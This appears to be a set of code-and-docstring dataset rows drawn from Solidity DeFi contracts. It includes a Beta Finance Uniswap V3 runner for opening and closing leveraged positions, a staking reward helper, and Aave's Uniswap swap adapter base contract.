/// @return z The downcasted integer, now type int128
function toInt128(int y) internal pure returns (int128 z) {
require((z = int128(y)) == y);
}
/// @notice Cast a uint256 to a int256, revert on overflow
/// @param y The uint256 to be casted
/// @return z The casted integer, now type int256
function toInt256(uint y) internal pure returns (int z) {
require(y < 2**255);
z = int(y);
}
}
// Part: OpenZeppelin/[email protected]/Ownable
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_setOwner(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_setOwner(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_setOwner(newOwner);
}
function _setOwner(address newOwner) private {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
// Part: OpenZeppelin/[email protected]/SafeERC20
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure (when the token
* contract returns false). Tokens that return no value (and instead revert or
* throw on failure) are also supported, non-reverting calls are assumed to be
* successful.
* To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
using Address for address;
function safeTransfer(
IERC20 token,
address to,
uint256 value
) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(
IERC20 token,
address from,
address to,
uint256 value
) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
/**
* @dev Deprecated. This function has issues similar to the ones found in
* {IERC20-approve}, and its usage is discouraged.
*
* Whenever possible, use {safeIncreaseAllowance} and
* {safeDecreaseAllowance} instead.
*/
function safeApprove(
IERC20 token,
address spender,
uint256 value
) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
require(
(value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(
IERC20 token,
address spender,
uint256 value
) internal {
uint256 newAllowance = token.allowance(address(this), spender) + value;
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(
IERC20 token,
address spender,
uint256 value
) internal {
unchecked {
uint256 oldAllowance = token.allowance(address(this), spender);
require(oldAllowance >= value, "SafeERC20: decreased allowance below zero");
uint256 newAllowance = oldAllowance - value;
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must not be false).
* @param token The token targeted by the call.
* @param data The call data (encoded using abi.encode or one of its variants).
*/
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
// Return data is optional
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
// Part: Path
/// @title Functions for manipulating path data for multihop swaps
library Path {
using BytesLib for bytes;
/// @dev The length of the bytes encoded address
uint private constant ADDR_SIZE = 20;
/// @dev The length of the bytes encoded fee
uint private constant FEE_SIZE = 3;
/// @dev The offset of a single token address and pool fee
uint private constant NEXT_OFFSET = ADDR_SIZE + FEE_SIZE;
/// @dev The offset of an encoded pool key
uint private constant POP_OFFSET = NEXT_OFFSET + ADDR_SIZE;
/// @dev The minimum length of an encoding that contains 2 or more pools
uint private constant MULTIPLE_POOLS_MIN_LENGTH = POP_OFFSET + NEXT_OFFSET;
/// @notice Returns true iff the path contains two or more pools
/// @param path The encoded swap path
/// @return True if path contains two or more pools, otherwise false
function hasMultiplePools(bytes memory path) internal pure returns (bool) {
return path.length >= MULTIPLE_POOLS_MIN_LENGTH;
}
/// @notice Decodes the first pool in path
/// @param path The bytes encoded swap path
/// @return tokenA The first token of the given pool
/// @return tokenB The second token of the given pool
/// @return fee The fee level of the pool
function decodeFirstPool(bytes memory path)
internal
pure
returns (
address tokenA,
address tokenB,
uint24 fee
)
{
tokenA = path.toAddress(0);
fee = path.toUint24(ADDR_SIZE);
tokenB = path.toAddress(NEXT_OFFSET);
}
/// @notice Decodes the last pool in path
/// @param path The bytes encoded swap path
/// @return tokenA The first token of the given pool
/// @return tokenB The second token of the given pool
/// @return fee The fee level of the pool
function decodeLastPool(bytes memory path)
internal
pure
returns (
address tokenA,
address tokenB,
uint24 fee
)
{
tokenB = path.toAddress(path.length - ADDR_SIZE);
fee = path.toUint24(path.length - NEXT_OFFSET);
tokenA = path.toAddress(path.length - POP_OFFSET);
}
/// @notice Skips a token + fee element from the buffer and returns the remainder
/// @param path The swap path
/// @return The remaining token + fee elements in the path
function skipToken(bytes memory path) internal pure returns (bytes memory) {
return path.slice(NEXT_OFFSET, path.length - NEXT_OFFSET);
}
}
// Part: BetaRunnerBase
contract BetaRunnerBase is Ownable {
using SafeERC20 for IERC20;
address public immutable betaBank;
address public immutable weth;
modifier onlyEOA() {
require(msg.sender == tx.origin, 'BetaRunnerBase/not-eoa');
_;
}
constructor(address _betaBank, address _weth) {
address bweth = IBetaBank(_betaBank).bTokens(_weth);
require(bweth != address(0), 'BetaRunnerBase/no-bweth');
IERC20(_weth).safeApprove(_betaBank, type(uint).max);
IERC20(_weth).safeApprove(bweth, type(uint).max);
betaBank = _betaBank;
weth = _weth;
}
function _borrow(
address _owner,
uint _pid,
address _underlying,
address _collateral,
uint _amountBorrow,
uint _amountCollateral
) internal {
if (_pid == type(uint).max) {
_pid = IBetaBank(betaBank).open(_owner, _underlying, _collateral);
} else {
(address collateral, address bToken) = IBetaBank(betaBank).getPositionTokens(_owner, _pid);
require(_collateral == collateral, '_borrow/collateral-not-_collateral');
require(_underlying == IBetaBank(betaBank).underlyings(bToken), '_borrow/bad-underlying');
}
_approve(_collateral, betaBank, _amountCollateral);
IBetaBank(betaBank).put(_owner, _pid, _amountCollateral);
IBetaBank(betaBank).borrow(_owner, _pid, _amountBorrow);
}
function _repay(
address _owner,
uint _pid,
address _underlying,
address _collateral,
uint _amountRepay,
uint _amountCollateral
) internal {
(address collateral, address bToken) = IBetaBank(betaBank).getPositionTokens(_owner, _pid);
require(_collateral == collateral, '_repay/collateral-not-_collateral');
require(_underlying == IBetaBank(betaBank).underlyings(bToken), '_repay/bad-underlying');
_approve(_underlying, bToken, _amountRepay);
IBetaBank(betaBank).repay(_owner, _pid, _amountRepay);
IBetaBank(betaBank).take(_owner, _pid, _amountCollateral);
}
function _transferIn(
address _token,
address _from,
uint _amount
) internal {
if (_token == weth) {
require(_from == msg.sender, '_transferIn/not-from-sender');
require(_amount <= msg.value, '_transferIn/insufficient-eth-amount');
IWETH(weth).deposit{value: _amount}();
if (msg.value > _amount) {
(bool success, ) = _from.call{value: msg.value - _amount}(new bytes(0));
require(success, '_transferIn/eth-transfer-failed');
}
} else {
IERC20(_token).safeTransferFrom(_from, address(this), _amount);
}
}
function _transferOut(
address _token,
address _to,
uint _amount
) internal {
if (_token == weth) {
IWETH(weth).withdraw(_amount);
(bool success, ) = _to.call{value: _amount}(new bytes(0));
require(success, '_transferOut/eth-transfer-failed');
} else {
IERC20(_token).safeTransfer(_to, _amount);
}
}
/// @dev Approves infinite on the given token for the given spender if current approval is insufficient.
function _approve(
address _token,
address _spender,
uint _minAmount
) internal {
uint current = IERC20(_token).allowance(address(this), _spender);
if (current < _minAmount) {
if (current != 0) {
IERC20(_token).safeApprove(_spender, 0);
}
IERC20(_token).safeApprove(_spender, type(uint).max);
}
}
/// @dev Caps repay amount by current position's debt.
function _capRepay(
address _owner,
uint _pid,
uint _amountRepay
) internal returns (uint) {
return Math.min(_amountRepay, IBetaBank(betaBank).fetchPositionDebt(_owner, _pid));
}
/// @dev Recovers lost tokens for whatever reason by the owner.
function recover(address _token, uint _amount) external onlyOwner {
if (_amount == type(uint).max) {
_amount = IERC20(_token).balanceOf(address(this));
}
IERC20(_token).safeTransfer(msg.sender, _amount);
}
/// @dev Recovers lost ETH for whatever reason by the owner.
function recoverETH(uint _amount) external onlyOwner {
if (_amount == type(uint).max) {
_amount = address(this).balance;
}
(bool success, ) = msg.sender.call{value: _amount}(new bytes(0));
require(success, 'recoverETH/eth-transfer-failed');
}
/// @dev Override Ownable.sol renounceOwnership to prevent accidental call
function renounceOwnership() public override onlyOwner {
revert('renounceOwnership/disabled');
}
receive() external payable {
require(msg.sender == weth, 'receive/not-weth');
}
}
// File: BetaRunnerUniswapV3.sol
contract BetaRunnerUniswapV3 is BetaRunnerBase, BetaRunnerWithCallback, IUniswapV3SwapCallback {
using SafeERC20 for IERC20;
using Path for bytes;
using SafeCast for uint;
/// @dev Constants from Uniswap V3 to be used for swap
/// (https://github.com/Uniswap/uniswap-v3-core/blob/main/contracts/libraries/TickMath.sol)
uint160 internal constant MIN_SQRT_RATIO = 4295128739;
uint160 internal constant MAX_SQRT_RATIO = 1461446703485210103287273052203988822378723970342;
address public immutable factory;
bytes32 public immutable codeHash;
constructor(
address _betaBank,
address _weth,
address _factory,
bytes32 _codeHash
) BetaRunnerBase(_betaBank, _weth) {
factory = _factory;
codeHash = _codeHash;
}
struct ShortData {
uint pid;
uint amountBorrow;
uint amountPutExtra;
bytes path;
uint amountOutMin;
}
struct CloseData {
uint pid;
uint amountRepay;
uint amountTake;
bytes path;
uint amountInMax;
}
struct CallbackData {
uint pid;
address path0;
uint amount0;
int memo; // positive if short (extra collateral) | negative if close (amount to take)
bytes path;
uint slippageControl; // amountInMax if close | amountOutMin if short
}
/// @dev Borrows the asset using the given collateral, and swaps it using the given path.
function short(ShortData calldata _data) external payable onlyEOA withCallback {
(, address collateral, ) = _data.path.decodeLastPool();
_transferIn(collateral, msg.sender, _data.amountPutExtra);
(address tokenIn, address tokenOut, uint24 fee) = _data.path.decodeFirstPool();
bool zeroForOne = tokenIn < tokenOut;
CallbackData memory cb = CallbackData({
pid: _data.pid,
path0: tokenIn,
amount0: _data.amountBorrow,
memo: _data.amountPutExtra.toInt256(),
path: _data.path,
slippageControl: _data.amountOutMin
});
IUniswapV3Pool(_poolFor(tokenIn, tokenOut, fee)).swap(
address(this),
zeroForOne,
_data.amountBorrow.toInt256(),
zeroForOne ? MIN_SQRT_RATIO + 1 : MAX_SQRT_RATIO - 1,
abi.encode(cb)
);
}
/// @dev Swaps the collateral to the underlying asset using the given path, and repays it to the pool.
function close(CloseData calldata _data) external payable onlyEOA withCallback {
uint amountRepay = _capRepay(msg.sender, _data.pid, _data.amountRepay);
(address tokenOut, address tokenIn, uint24 fee) = _data.path.decodeFirstPool();
bool zeroForOne = tokenIn < tokenOut;
CallbackData memory cb = CallbackData({
pid: _data.pid,
path0: tokenOut,
amount0: amountRepay,
memo: -_data.amountTake.toInt256(),
path: _data.path,
slippageControl: _data.amountInMax
});
IUniswapV3Pool(_poolFor(tokenIn, tokenOut, fee)).swap(
address(this),
zeroForOne,
-amountRepay.toInt256(),
zeroForOne ? MIN_SQRT_RATIO + 1 : MAX_SQRT_RATIO - 1,
abi.encode(cb)
);
}
/// @dev Continues the action through uniswapv3
function uniswapV3SwapCallback(
int _amount0Delta,
int _amount1Delta,
bytes calldata _data
) external override isCallback {
CallbackData memory data = abi.decode(_data, (CallbackData));
(uint amountToPay, uint amountReceived) = _amount0Delta > 0
? (uint(_amount0Delta), uint(-_amount1Delta))
: (uint(_amount1Delta), uint(-_amount0Delta));
if (data.memo > 0) {
_shortCallback(amountToPay, amountReceived, data);
} else {
_closeCallback(amountToPay, amountReceived, data);
}
}
function _shortCallback(
uint _amountToPay,
uint _amountReceived,
CallbackData memory data
) internal {
(address tokenIn, address tokenOut, uint24 prevFee) = data.path.decodeFirstPool();
require(msg.sender == _poolFor(tokenIn, tokenOut, prevFee), '_shortCallback/bad-caller');
if (data.path.hasMultiplePools()) {
data.path = data.path.skipToken();
(, address tokenNext, uint24 fee) = data.path.decodeFirstPool();
bool zeroForOne = tokenOut < tokenNext;
IUniswapV3Pool(_poolFor(tokenOut, tokenNext, fee)).swap(
address(this),
zeroForOne,
_amountReceived.toInt256(),
zeroForOne ? MIN_SQRT_RATIO + 1 : MAX_SQRT_RATIO - 1,
abi.encode(data)
);
} else {
uint amountPut = _amountReceived + uint(data.memo);
require(_amountReceived >= data.slippageControl, '!slippage');
_borrow(tx.origin, data.pid, data.path0, tokenOut, data.amount0, amountPut);
}
IERC20(tokenIn).safeTransfer(msg.sender, _amountToPay);
}
function _closeCallback(
uint _amountToPay,
uint,
CallbackData memory data
) internal {
(address tokenOut, address tokenIn, uint24 prevFee) = data.path.decodeFirstPool();
require(msg.sender == _poolFor(tokenIn, tokenOut, prevFee), '_closeCallback/bad-caller');
if (data.path.hasMultiplePools()) {
data.path = data.path.skipToken();
(, address tokenNext, uint24 fee) = data.path.decodeFirstPool();
bool zeroForOne = tokenNext < tokenIn;
IUniswapV3Pool(_poolFor(tokenIn, tokenNext, fee)).swap(
msg.sender,
zeroForOne,
-_amountToPay.toInt256(),
zeroForOne ? MIN_SQRT_RATIO + 1 : MAX_SQRT_RATIO - 1,
abi.encode(data)
);
} else {
require(_amountToPay <= data.slippageControl, '!slippage');
uint amountTake = uint(-data.memo);
_repay(tx.origin, data.pid, data.path0, tokenIn, data.amount0, amountTake);
IERC20(tokenIn).safeTransfer(msg.sender, _amountToPay);
_transferOut(tokenIn, tx.origin, IERC20(tokenIn).balanceOf(address(this)));
}
}
function _poolFor(
address tokenA,
address tokenB,
uint24 fee
) internal view returns (address) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
bytes32 salt = keccak256(abi.encode(token0, token1, fee));
return address(uint160(uint(keccak256(abi.encodePacked(hex'ff', factory, salt, codeHash)))));
}
}
|
Swaps the collateral to the underlying asset using the given path, and repays it to the pool.
|
function close(CloseData calldata _data) external payable onlyEOA withCallback {
uint amountRepay = _capRepay(msg.sender, _data.pid, _data.amountRepay);
(address tokenOut, address tokenIn, uint24 fee) = _data.path.decodeFirstPool();
bool zeroForOne = tokenIn < tokenOut;
CallbackData memory cb = CallbackData({
pid: _data.pid,
path0: tokenOut,
amount0: amountRepay,
memo: -_data.amountTake.toInt256(),
path: _data.path,
slippageControl: _data.amountInMax
});
IUniswapV3Pool(_poolFor(tokenIn, tokenOut, fee)).swap(
address(this),
zeroForOne,
-amountRepay.toInt256(),
zeroForOne ? MIN_SQRT_RATIO + 1 : MAX_SQRT_RATIO - 1,
abi.encode(cb)
);
}
| 7,742,621 |
./partial_match/1/0x61b34D8c15305c8536D730C2CFF0Ba4006B7Fe67/sources/STAKINGContract.sol
|
uint256 investorStakingPeriod = getStakingPeriodInNumbers(_investor); uint APY = investorStakingPeriod == 26 weeks ? sixMonthAPR : investorStakingPeriod == 52 weeks ? oneYearAPR : investorStakingPeriod == 156 weeks ? threeYearAPR : 0;
|
function getInvestorRewards(uint256 _unstakeAmount, stake memory _investor)
internal
view
returns (uint256)
{
return _unstakeAmount.mul(apr[_investor.stakePeriod]).div(100).div(100);
}
| 4,229,164 |
// SPDX-License-Identifier: agpl-3.0
pragma solidity 0.6.12;
pragma experimental ABIEncoderV2;
import {PercentageMath} from '../protocol/libraries/math/PercentageMath.sol';
import {SafeMath} from '../dependencies/openzeppelin/contracts/SafeMath.sol';
import {IERC20} from '../dependencies/openzeppelin/contracts/IERC20.sol';
import {IERC20Detailed} from '../dependencies/openzeppelin/contracts/IERC20Detailed.sol';
import {SafeERC20} from '../dependencies/openzeppelin/contracts/SafeERC20.sol';
import {Ownable} from '../dependencies/openzeppelin/contracts/Ownable.sol';
import {ILendingPoolAddressesProvider} from '../interfaces/ILendingPoolAddressesProvider.sol';
import {DataTypes} from '../protocol/libraries/types/DataTypes.sol';
import {IUniswapV2Router02} from '../interfaces/IUniswapV2Router02.sol';
import {IPriceOracleGetter} from '../interfaces/IPriceOracleGetter.sol';
import {IERC20WithPermit} from '../interfaces/IERC20WithPermit.sol';
import {FlashLoanReceiverBase} from '../flashloan/base/FlashLoanReceiverBase.sol';
import {IBaseUniswapAdapter} from './interfaces/IBaseUniswapAdapter.sol';
/**
* @title BaseUniswapAdapter
* @notice Implements the logic for performing assets swaps in Uniswap V2
* @author Aave
**/
abstract contract BaseUniswapAdapter is FlashLoanReceiverBase, IBaseUniswapAdapter, Ownable {
using SafeMath for uint256;
using PercentageMath for uint256;
using SafeERC20 for IERC20;
// Max slippage percent allowed
uint256 public constant override MAX_SLIPPAGE_PERCENT = 3000; // 30%
// FLash Loan fee set in lending pool
uint256 public constant override FLASHLOAN_PREMIUM_TOTAL = 9;
// USD oracle asset address
address public constant override USD_ADDRESS = 0x10F7Fc1F91Ba351f9C629c5947AD69bD03C05b96;
address public immutable override WETH_ADDRESS;
IPriceOracleGetter public immutable override ORACLE;
IUniswapV2Router02 public immutable override UNISWAP_ROUTER;
constructor(
ILendingPoolAddressesProvider addressesProvider,
IUniswapV2Router02 uniswapRouter,
address wethAddress
) public FlashLoanReceiverBase(addressesProvider) {
ORACLE = IPriceOracleGetter(addressesProvider.getPriceOracle());
UNISWAP_ROUTER = uniswapRouter;
WETH_ADDRESS = wethAddress;
}
/**
* @dev Given an input asset amount, returns the maximum output amount of the other asset and the prices
* @param amountIn Amount of reserveIn
* @param reserveIn Address of the asset to be swap from
* @param reserveOut Address of the asset to be swap to
* @return uint256 Amount out of the reserveOut
* @return uint256 The price of out amount denominated in the reserveIn currency (18 decimals)
* @return uint256 In amount of reserveIn value denominated in USD (8 decimals)
* @return uint256 Out amount of reserveOut value denominated in USD (8 decimals)
*/
function getAmountsOut(
uint256 amountIn,
address reserveIn,
address reserveOut
)
external
view
override
returns (
uint256,
uint256,
uint256,
uint256,
address[] memory
)
{
AmountCalc memory results = _getAmountsOutData(reserveIn, reserveOut, amountIn);
return (
results.calculatedAmount,
results.relativePrice,
results.amountInUsd,
results.amountOutUsd,
results.path
);
}
/**
* @dev Returns the minimum input asset amount required to buy the given output asset amount and the prices
* @param amountOut Amount of reserveOut
* @param reserveIn Address of the asset to be swap from
* @param reserveOut Address of the asset to be swap to
* @return uint256 Amount in of the reserveIn
* @return uint256 The price of in amount denominated in the reserveOut currency (18 decimals)
* @return uint256 In amount of reserveIn value denominated in USD (8 decimals)
* @return uint256 Out amount of reserveOut value denominated in USD (8 decimals)
*/
function getAmountsIn(
uint256 amountOut,
address reserveIn,
address reserveOut
)
external
view
override
returns (
uint256,
uint256,
uint256,
uint256,
address[] memory
)
{
AmountCalc memory results = _getAmountsInData(reserveIn, reserveOut, amountOut);
return (
results.calculatedAmount,
results.relativePrice,
results.amountInUsd,
results.amountOutUsd,
results.path
);
}
/**
* @dev Swaps an exact `amountToSwap` of an asset to another
* @param assetToSwapFrom Origin asset
* @param assetToSwapTo Destination asset
* @param amountToSwap Exact amount of `assetToSwapFrom` to be swapped
* @param minAmountOut the min amount of `assetToSwapTo` to be received from the swap
* @return the amount received from the swap
*/
function _swapExactTokensForTokens(
address assetToSwapFrom,
address assetToSwapTo,
uint256 amountToSwap,
uint256 minAmountOut,
bool useEthPath
) internal returns (uint256) {
uint256 fromAssetDecimals = _getDecimals(assetToSwapFrom);
uint256 toAssetDecimals = _getDecimals(assetToSwapTo);
uint256 fromAssetPrice = _getPrice(assetToSwapFrom);
uint256 toAssetPrice = _getPrice(assetToSwapTo);
uint256 expectedMinAmountOut =
amountToSwap
.mul(fromAssetPrice.mul(10**toAssetDecimals))
.div(toAssetPrice.mul(10**fromAssetDecimals))
.percentMul(PercentageMath.PERCENTAGE_FACTOR.sub(MAX_SLIPPAGE_PERCENT));
require(expectedMinAmountOut < minAmountOut, 'minAmountOut exceed max slippage');
// Approves the transfer for the swap. Approves for 0 first to comply with tokens that implement the anti frontrunning approval fix.
IERC20(assetToSwapFrom).safeApprove(address(UNISWAP_ROUTER), 0);
IERC20(assetToSwapFrom).safeApprove(address(UNISWAP_ROUTER), amountToSwap);
address[] memory path;
if (useEthPath) {
path = new address[](3);
path[0] = assetToSwapFrom;
path[1] = WETH_ADDRESS;
path[2] = assetToSwapTo;
} else {
path = new address[](2);
path[0] = assetToSwapFrom;
path[1] = assetToSwapTo;
}
uint256[] memory amounts =
UNISWAP_ROUTER.swapExactTokensForTokens(
amountToSwap,
minAmountOut,
path,
address(this),
block.timestamp
);
emit Swapped(assetToSwapFrom, assetToSwapTo, amounts[0], amounts[amounts.length - 1]);
return amounts[amounts.length - 1];
}
/**
* @dev Receive an exact amount `amountToReceive` of `assetToSwapTo` tokens for as few `assetToSwapFrom` tokens as
* possible.
* @param assetToSwapFrom Origin asset
* @param assetToSwapTo Destination asset
* @param maxAmountToSwap Max amount of `assetToSwapFrom` allowed to be swapped
* @param amountToReceive Exact amount of `assetToSwapTo` to receive
* @return the amount swapped
*/
function _swapTokensForExactTokens(
address assetToSwapFrom,
address assetToSwapTo,
uint256 maxAmountToSwap,
uint256 amountToReceive,
bool useEthPath
) internal returns (uint256) {
uint256 fromAssetDecimals = _getDecimals(assetToSwapFrom);
uint256 toAssetDecimals = _getDecimals(assetToSwapTo);
uint256 fromAssetPrice = _getPrice(assetToSwapFrom);
uint256 toAssetPrice = _getPrice(assetToSwapTo);
uint256 expectedMaxAmountToSwap =
amountToReceive
.mul(toAssetPrice.mul(10**fromAssetDecimals))
.div(fromAssetPrice.mul(10**toAssetDecimals))
.percentMul(PercentageMath.PERCENTAGE_FACTOR.add(MAX_SLIPPAGE_PERCENT));
require(maxAmountToSwap < expectedMaxAmountToSwap, 'maxAmountToSwap exceed max slippage');
// Approves the transfer for the swap. Approves for 0 first to comply with tokens that implement the anti frontrunning approval fix.
IERC20(assetToSwapFrom).safeApprove(address(UNISWAP_ROUTER), 0);
IERC20(assetToSwapFrom).safeApprove(address(UNISWAP_ROUTER), maxAmountToSwap);
address[] memory path;
if (useEthPath) {
path = new address[](3);
path[0] = assetToSwapFrom;
path[1] = WETH_ADDRESS;
path[2] = assetToSwapTo;
} else {
path = new address[](2);
path[0] = assetToSwapFrom;
path[1] = assetToSwapTo;
}
uint256[] memory amounts =
UNISWAP_ROUTER.swapTokensForExactTokens(
amountToReceive,
maxAmountToSwap,
path,
address(this),
block.timestamp
);
emit Swapped(assetToSwapFrom, assetToSwapTo, amounts[0], amounts[amounts.length - 1]);
return amounts[0];
}
/**
* @dev Get the price of the asset from the oracle denominated in eth
* @param asset address
* @return eth price for the asset
*/
function _getPrice(address asset) internal view returns (uint256) {
return ORACLE.getAssetPrice(asset);
}
/**
* @dev Get the decimals of an asset
* @return number of decimals of the asset
*/
function _getDecimals(address asset) internal view returns (uint256) {
return IERC20Detailed(asset).decimals();
}
/**
* @dev Get the aToken associated to the asset
* @return address of the aToken
*/
function _getReserveData(address asset) internal view returns (DataTypes.ReserveData memory) {
return LENDING_POOL.getReserveData(asset);
}
/**
* @dev Pull the ATokens from the user
* @param reserve address of the asset
* @param reserveAToken address of the aToken of the reserve
* @param user address
* @param amount of tokens to be transferred to the contract
* @param permitSignature struct containing the permit signature
*/
function _pullAToken(
address reserve,
address reserveAToken,
address user,
uint256 amount,
PermitSignature memory permitSignature
) internal {
if (_usePermit(permitSignature)) {
IERC20WithPermit(reserveAToken).permit(
user,
address(this),
permitSignature.amount,
permitSignature.deadline,
permitSignature.v,
permitSignature.r,
permitSignature.s
);
}
// transfer from user to adapter
IERC20(reserveAToken).safeTransferFrom(user, address(this), amount);
// withdraw reserve
LENDING_POOL.withdraw(reserve, amount, address(this));
}
/**
* @dev Tells if the permit method should be called by inspecting if there is a valid signature.
* If signature params are set to 0, then permit won't be called.
* @param signature struct containing the permit signature
* @return whether or not permit should be called
*/
function _usePermit(PermitSignature memory signature) internal pure returns (bool) {
return
!(uint256(signature.deadline) == uint256(signature.v) && uint256(signature.deadline) == 0);
}
/**
* @dev Calculates the value denominated in USD
* @param reserve Address of the reserve
* @param amount Amount of the reserve
* @param decimals Decimals of the reserve
* @return whether or not permit should be called
*/
function _calcUsdValue(
address reserve,
uint256 amount,
uint256 decimals
) internal view returns (uint256) {
uint256 ethUsdPrice = _getPrice(USD_ADDRESS);
uint256 reservePrice = _getPrice(reserve);
return amount.mul(reservePrice).div(10**decimals).mul(ethUsdPrice).div(10**18);
}
/**
* @dev Given an input asset amount, returns the maximum output amount of the other asset
* @param reserveIn Address of the asset to be swap from
* @param reserveOut Address of the asset to be swap to
* @param amountIn Amount of reserveIn
* @return Struct containing the following information:
* uint256 Amount out of the reserveOut
* uint256 The price of out amount denominated in the reserveIn currency (18 decimals)
* uint256 In amount of reserveIn value denominated in USD (8 decimals)
* uint256 Out amount of reserveOut value denominated in USD (8 decimals)
*/
function _getAmountsOutData(
address reserveIn,
address reserveOut,
uint256 amountIn
) internal view returns (AmountCalc memory) {
// Subtract flash loan fee
uint256 finalAmountIn = amountIn.sub(amountIn.mul(FLASHLOAN_PREMIUM_TOTAL).div(10000));
if (reserveIn == reserveOut) {
uint256 reserveDecimals = _getDecimals(reserveIn);
address[] memory path = new address[](1);
path[0] = reserveIn;
return
AmountCalc(
finalAmountIn,
finalAmountIn.mul(10**18).div(amountIn),
_calcUsdValue(reserveIn, amountIn, reserveDecimals),
_calcUsdValue(reserveIn, finalAmountIn, reserveDecimals),
path
);
}
address[] memory simplePath = new address[](2);
simplePath[0] = reserveIn;
simplePath[1] = reserveOut;
uint256[] memory amountsWithoutWeth;
uint256[] memory amountsWithWeth;
address[] memory pathWithWeth = new address[](3);
if (reserveIn != WETH_ADDRESS && reserveOut != WETH_ADDRESS) {
pathWithWeth[0] = reserveIn;
pathWithWeth[1] = WETH_ADDRESS;
pathWithWeth[2] = reserveOut;
try UNISWAP_ROUTER.getAmountsOut(finalAmountIn, pathWithWeth) returns (
uint256[] memory resultsWithWeth
) {
amountsWithWeth = resultsWithWeth;
} catch {
amountsWithWeth = new uint256[](3);
}
} else {
amountsWithWeth = new uint256[](3);
}
uint256 bestAmountOut;
try UNISWAP_ROUTER.getAmountsOut(finalAmountIn, simplePath) returns (
uint256[] memory resultAmounts
) {
amountsWithoutWeth = resultAmounts;
bestAmountOut = (amountsWithWeth[2] > amountsWithoutWeth[1])
? amountsWithWeth[2]
: amountsWithoutWeth[1];
} catch {
amountsWithoutWeth = new uint256[](2);
bestAmountOut = amountsWithWeth[2];
}
uint256 reserveInDecimals = _getDecimals(reserveIn);
uint256 reserveOutDecimals = _getDecimals(reserveOut);
uint256 outPerInPrice =
finalAmountIn.mul(10**18).mul(10**reserveOutDecimals).div(
bestAmountOut.mul(10**reserveInDecimals)
);
return
AmountCalc(
bestAmountOut,
outPerInPrice,
_calcUsdValue(reserveIn, amountIn, reserveInDecimals),
_calcUsdValue(reserveOut, bestAmountOut, reserveOutDecimals),
(bestAmountOut == 0) ? new address[](2) : (bestAmountOut == amountsWithoutWeth[1])
? simplePath
: pathWithWeth
);
}
/**
* @dev Returns the minimum input asset amount required to buy the given output asset amount
* @param reserveIn Address of the asset to be swap from
* @param reserveOut Address of the asset to be swap to
* @param amountOut Amount of reserveOut
* @return Struct containing the following information:
* uint256 Amount in of the reserveIn
* uint256 The price of in amount denominated in the reserveOut currency (18 decimals)
* uint256 In amount of reserveIn value denominated in USD (8 decimals)
* uint256 Out amount of reserveOut value denominated in USD (8 decimals)
*/
function _getAmountsInData(
address reserveIn,
address reserveOut,
uint256 amountOut
) internal view returns (AmountCalc memory) {
if (reserveIn == reserveOut) {
// Add flash loan fee
uint256 amountIn = amountOut.add(amountOut.mul(FLASHLOAN_PREMIUM_TOTAL).div(10000));
uint256 reserveDecimals = _getDecimals(reserveIn);
address[] memory path = new address[](1);
path[0] = reserveIn;
return
AmountCalc(
amountIn,
amountOut.mul(10**18).div(amountIn),
_calcUsdValue(reserveIn, amountIn, reserveDecimals),
_calcUsdValue(reserveIn, amountOut, reserveDecimals),
path
);
}
(uint256[] memory amounts, address[] memory path) =
_getAmountsInAndPath(reserveIn, reserveOut, amountOut);
// Add flash loan fee
uint256 finalAmountIn = amounts[0].add(amounts[0].mul(FLASHLOAN_PREMIUM_TOTAL).div(10000));
uint256 reserveInDecimals = _getDecimals(reserveIn);
uint256 reserveOutDecimals = _getDecimals(reserveOut);
uint256 inPerOutPrice =
amountOut.mul(10**18).mul(10**reserveInDecimals).div(
finalAmountIn.mul(10**reserveOutDecimals)
);
return
AmountCalc(
finalAmountIn,
inPerOutPrice,
_calcUsdValue(reserveIn, finalAmountIn, reserveInDecimals),
_calcUsdValue(reserveOut, amountOut, reserveOutDecimals),
path
);
}
